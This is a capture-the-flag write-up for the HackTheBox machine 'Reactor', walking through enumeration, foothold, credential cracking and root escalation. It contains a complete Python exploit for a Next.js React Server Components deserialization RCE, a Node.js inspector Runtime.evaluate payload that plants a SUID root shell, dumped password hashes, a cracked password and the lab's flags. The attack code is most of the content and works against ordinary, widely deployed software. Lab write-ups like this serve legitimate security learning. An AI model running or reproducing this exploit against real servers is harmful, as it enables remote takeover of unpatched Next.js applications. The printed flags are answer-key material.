HackTheBox Writeup - Reactor
Introduction
Reactor is an Easy-rated Linux machine on HackTheBox that showcases a high-severity vulnerability in the Next.js framework. The exploitation involves an unauthenticated RCE via the React Server Components (RSC) Flight protocol, followed by credential discovery in a local SQLite database, and finally privilege escalation through an exposed Node.js Inspector.
Enumeration
Nmap Scan
1
nmap -sC -sV -p 22,3000 reactor.htb
Output:
1
2
3
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3
The web server at port 3000 is running Next.js 15.0.3, which is vulnerable to React2Shell (CVE-2025-55182).
Foothold
Next.js React Flight RCE (React2Shell)
The vulnerability is an insecure deserialization flaw in the React Server Components protocol. We can craft a multipart/form-data payload that pollutes the prototype and hijacks the Function constructor.
Exploitation Script
Using a Python script to trigger the RCE:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import json
target_url = "http://reactor.htb:3000/"
command = "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
"_formData": {"get": "$1:constructor:constructor"},
},
}
files = {"0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"')}
headers = {"Next-Action": "x"}
response = requests.post(target_url, files=files, headers=headers)
print(response.text)
Executing id returns: uid=999(node) gid=988(node) groups=988(node)
Credential Discovery
Listing files reveals a SQLite database:
1
ls -la /opt/reactor-app/reactor.db
Dumping the users table:
1
sqlite3 reactor.db .dump users
Output:
1
2
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
The MD5 hash 39d97110eafe2a9a68639812cd271e8e cracks to reactor1.
User Flag: 34699a8645bd7b07673e632a2e2944fe
Privilege Escalation
Node.js Inspector
Checking running processes reveals a Node.js process running as root with the --inspect flag:
1
2
ps aux | grep node
# root 1417 ... /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
We can connect to the Chrome DevTools Protocol (CDP) on port 9229.
CDP Exploitation
I wrote a small Python script to send a Runtime.evaluate command to the inspector via WebSocket:
1
2
3
4
5
6
7
8
# Payload
payload = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')"
}
}
After executing the script, we can gain a root shell using the SUID bash:
1
2
3
/tmp/rootbash -p
id
# uid=1001(engineer) gid=1001(engineer) euid=0(root) egid=0(root)
Root Flag: 5bcbbdc676d815aa1119dd287ec7134a
Conclusion
This machine demonstrates the dangers of using modern frameworks with known insecure defaults or vulnerabilities. Always keep your frameworks updated and never expose administrative protocols like the Node.js Inspector on localhost if untrusted users have shell access.